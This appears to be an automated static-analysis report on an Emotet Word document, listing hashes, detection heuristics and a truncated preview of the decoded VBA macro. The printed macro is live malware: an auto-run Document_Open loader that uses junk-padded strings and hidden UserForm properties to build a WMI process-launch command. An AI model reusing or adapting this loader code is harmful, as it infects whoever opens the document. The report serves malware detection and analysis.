Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 9d1eddcdc142e3d0…

MALICIOUS

Office (OLE)

232.7 KB Created: 2020-08-14 09:34:00 Authoring application: Microsoft Office Word First seen: 2020-09-07
MD5: bcc3482808877eb09227728888f08726 SHA-1: 7a67e7a84f88b9adb209f3a3195f56e76e05e3bf SHA-256: 9d1eddcdc142e3d0a3a2b36e4b9d1530312826ad1236f14ec4737cee2e5c5f86
262 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains VBA macros, including a Document_Open macro and a hidden UserForm command stager, which are indicative of Emotet's typical infection chain. The ClamAV detection explicitly names Emotet. The VBA script's obfuscated nature and use of CreateObject suggest it is designed to download and execute a secondary payload.

Heuristics 7

  • ClamAV: Doc.Downloader.Emotet-9318305-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-9318305-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 7821 bytes
SHA-256: a507399b0be588e133b0e792e0fcac64bf7c296db34979b12758a7dc7434cb15
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Yslrikzo67_11"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
Gtagipi3xtcoq7wh.Bv5e8mbbqxpg60
End Sub


Attribute VB_Name = "Gtagipi3xtcoq7wh"
Attribute VB_Base = "0{706AA2AC-A212-4F6A-9279-D337F664B740}{DBB5948B-5640-42EC-8BEB-2509BAC65D8C}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function Bv5e8mbbqxpg60()
   E3pdr7q4z_tc8 = 4
Do While E3pdr7q4z_tc8 < 4 + 3
gIMkDeCUuR = "teboqscFfl"
xHXDVHDKTS = 486219
gIMkDeCUuR = gIMkDeCUuR & CStr(xHXDVHDKTS)
HspHPvHBdw = gIMkDeCUuR
E3pdr7q4z_tc8 = E3pdr7q4z_tc8 + 8: DoEvents
Loop
Hswrewmo7q80q22fg = Gtagipi3xtcoq7wh.HelpContextId + 100
   E3pdr7q4z_tc8 = 4
Do While E3pdr7q4z_tc8 < 4 + 3
gIMkDeCUuR = "teboqscFfl"
xHXDVHDKTS = 486219
gIMkDeCUuR = gIMkDeCUuR & CStr(xHXDVHDKTS)
HspHPvHBdw = gIMkDeCUuR
E3pdr7q4z_tc8 = E3pdr7q4z_tc8 + 8: DoEvents
Loop
Da4x0zse995c = ChrW(Hswrewmo7q80q22fg + (100 + 35) / 9)
   E3pdr7q4z_tc8 = 4
Do While E3pdr7q4z_tc8 < 4 + 3
gIMkDeCUuR = "teboqscFfl"
xHXDVHDKTS = 486219
gIMkDeCUuR = gIMkDeCUuR & CStr(xHXDVHDKTS)
HspHPvHBdw = gIMkDeCUuR
E3pdr7q4z_tc8 = E3pdr7q4z_tc8 + 8: DoEvents
Loop
F3svae_ki4n5vv = "72[snn h7&&2137gb]nJG[ 81sdasd2v72[snn h7&&2137gb]nJG[ 81sdasd2vw72[snn h7&&2137gb]nJG[ 81sdasd2vi72[snn h7&&2137gb]nJG[ 81sdasd2vnm72[snn h7&&2137gb]nJG[ 81sdasd2v72[snn h7&&2137gb]nJG[ 81sdasd2vgm72[snn h7&&2137gb]nJG[ 81sdasd2vt72[snn h7&&2137gb]nJG[ 81sdasd2v72[snn h7&&2137gb]nJG[ 81sdasd2v" + Da4x0zse995c + "72[snn h7&&2137gb]nJG[ 81sdasd2v72[snn h7&&2137gb]nJG[ 81sdasd2v:72[snn h7&&2137gb]nJG[ 81sdasd2vw72[snn h7&&2137gb]nJG[ 81sdasd2vin72[snn h7&&2137gb]nJG[ 81sdasd2v72[snn h7&&2137gb]nJG[ 81sdasd2v372[snn h7&&2137gb]nJG[ 81sdasd2v272[snn h7&&2137gb]nJG[ 81sdasd2v_72[snn h7&&2137gb]nJG[ 81sdasd2v" + Gtagipi3xtcoq7wh.Byzj2pqy377d2k + "72[snn h7&&2137gb]nJG[ 81sdasd2vro72[snn h7&&2137gb]nJG[ 81sdasd2v72[snn h7&&2137gb]nJG[ 81sdasd2vce72[snn h7&&2137gb]nJG[ 81sdasd2vs72[snn h7&&2137gb]nJG[ 81sdasd2vs72[snn h7&&2137gb]nJG[ 81sdasd2v"
   E3pdr7q4z_tc8 = 4
Do While E3pdr7q4z_tc8 < 4 + 3
gIMkDeCUuR = "teboqscFfl"
xHXDVHDKTS = 486219
gIMkDeCUuR = gIMkDeCUuR & CStr(xHXDVHDKTS)
HspHPvHBdw = gIMkDeCUuR
E3pdr7q4z_tc8 = E3pdr7q4z_tc8 + 8: DoEvents
Loop
M5fighyekmb = Y0zyarohn18d(F3svae_ki4n5vv)
   E3pdr7q4z_tc8 = 4
Do While E3pdr7q4z_tc8 < 4 + 3
gIMkDeCUuR = "teboqscFfl"
xHXDVHDKTS = 486219
gIMkDeCUuR = gIMkDeCUuR & CStr(xHXDVHDKTS)
HspHPvHBdw = gIMkDeCUuR
E3pdr7q4z_tc8 = E3pdr7q4z_tc8 + 8: DoEvents
Loop
Set N4ma23ndsfd2 = CreateObject(M5fighyekmb)
   E3pdr7q4z_tc8 = 4
Do While E3pdr7q4z_tc8 < 4 + 3
gIMkDeCUuR = "teboqscFfl"
xHXDVHDKTS = 486219
gIMkDeCUuR = gIMkDeCUuR & CStr(xHXDVHDKTS)
HspHPvHBdw = gIMkDeCUuR
E3pdr7q4z_tc8 = E3pdr7q4z_tc8 + 8: DoEvents
Loop
Ca7lmd49b6eb1 = Gtagipi3xtcoq7wh.Xaerw_kv_fxp2nf.ControlTipText
   E3pdr7q4z_tc8 = 4
Do While E3pdr7q4z_tc8 < 4 + 3
gIMkDeCUuR = "teboqscFfl"
xHXDVHDKTS = 486219
gIMkDeCUuR = gIMkDeCUuR & CStr(xHXDVHDKTS)
HspHPvHBdw = gIMkDeCUuR
E3pdr7q4z_tc8 = E3pdr7q4z_tc8 + 8: DoEvents
Loop
X6qatugkh_4qq = Didsrerblgd1 + (M5fighyekmb + Da4x0zse995c + Gtagipi3xtcoq7wh.Boxd7pwl9j1.ControlTipText + Ca7lmd49b6eb1)
   E3pdr7q4z_tc8 = 4
Do While E3pdr7q4z_tc8 < 4 + 3
gIMkDeCUuR = "teboqscFfl"
xHXDVHDKTS = 486219
gIMkDeCUuR = gIMkDeCUuR & CStr(xHXDVHDKTS)
HspHPvHBdw = gIMkDeCUuR
E3pdr7q4z_tc8 = E3pdr7q4z_tc8 + 8: DoEvents
Loop
Nae9m3uoabg = X6qatugkh_4qq + Gtagipi3xtcoq7wh.Byzj2pqy377d2k
   E3pdr7q4z_tc8 = 4
Do While E3pdr7q4z_tc8 < 4 + 3
gIMkDeCUuR = "teboqscFfl"
xHXDVHDKTS = 486219
gIMkDeCUuR = gIMkDeCUuR & CStr(xHXDVHDKTS)
HspHPvHBdw = gIMkDeCUuR
E3pdr7q4z_tc8 = E3pdr7q4z_tc8 + 8: DoEvents
Loop
Set Et0ee67wf2jwd5 = Tug5atufhylvm(
... (truncated)

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